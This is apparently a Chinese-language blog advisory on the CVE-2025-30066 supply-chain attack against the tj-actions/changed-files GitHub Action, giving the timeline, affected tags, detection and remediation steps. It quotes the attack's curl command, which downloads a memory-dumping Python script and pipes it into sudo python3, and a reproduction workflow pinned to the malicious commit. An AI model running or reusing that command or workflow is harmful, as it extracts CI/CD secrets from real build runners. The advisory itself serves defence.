GitHub Actions供应链攻击:CVE-2025-30066漏洞分析与修复指南

详细分析tj-actions/changed-files供应链攻击事件,攻击者通过恶意修改版本标签窃取CI/CD机密信息,影响超过23000个代码仓库,提供完整的检测方法和修复建议。

CVE-2025-30066:tj-actions/changed-files供应链攻击分析

漏洞概述

tj-actions/changed-files 在45.0.7及之前版本存在高危漏洞,允许远程攻击者通过读取Actions日志发现敏感机密信息。该漏洞已被评定为高危级别,CVSS评分为8.6。

受影响范围

受影响的版本

  • 所有 <= 45.0.7 的版本

已修复版本

  • 46.0.1

攻击详情

供应链攻击时间线

攻击发生在2025年3月14日至15日期间,攻击者通过篡改多个版本标签指向恶意提交,实施了供应链攻击:

恶意提交哈希: 0e58ed8671d6b60d0890c21b07f8835ace038e67

被篡改的版本标签:

  • v1.0.0
  • v35.7.7-sec
  • v44.5.1

恶意代码执行机制

攻击脚本通过下载并执行Python脚本从Runner Worker进程内存中提取机密信息:

1
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`

该脚本扫描内存中的机密信息,进行base64编码后记录到构建日志中。

漏洞检测

重现步骤

  1. 创建使用受影响版本的GitHub Actions工作流:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
  1. 运行工作流并检查Actions标签页中的日志
  2. 受影响的工组流可能在日志中显示机密信息

网络流量检测

使用Harden-Runner分析网络流量,检测到未经授权的出站请求:

  • gist.githubusercontent.com

应急响应措施

立即行动要求

  1. 审查受影响期间的工作流

    • 检查在2025年3月14-15日期间执行的工作流
    • 检查changed-files部分是否有异常输出
    • 使用以下命令解码可疑输出:
      1
      
      echo 'xxx' | base64 -d | base64 -d
      
  2. 更新工作流引用

    • 如果工作流直接引用了恶意提交SHA,请立即更新
    • 使用标签版本的用户无需操作,相关标签已被更新
  3. 轮换可能暴露的机密

    • 作为预防措施,轮换在此期间可能暴露的所有机密信息

影响评估

漏洞类型

  • 供应链攻击
  • 机密信息暴露
  • 信息泄露

受影响用户

  • 超过23,000个使用tj-actions/changed-files的代码仓库
  • 拥有公共仓库的组织面临最高风险

潜在后果

  • CI/CD机密信息被盗(API密钥、云凭证、SSH密钥)
  • 对源代码、基础设施和生产环境的未授权访问
  • 公共仓库中的凭证泄露,可能导致进一步的供应链攻击

参考资源

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计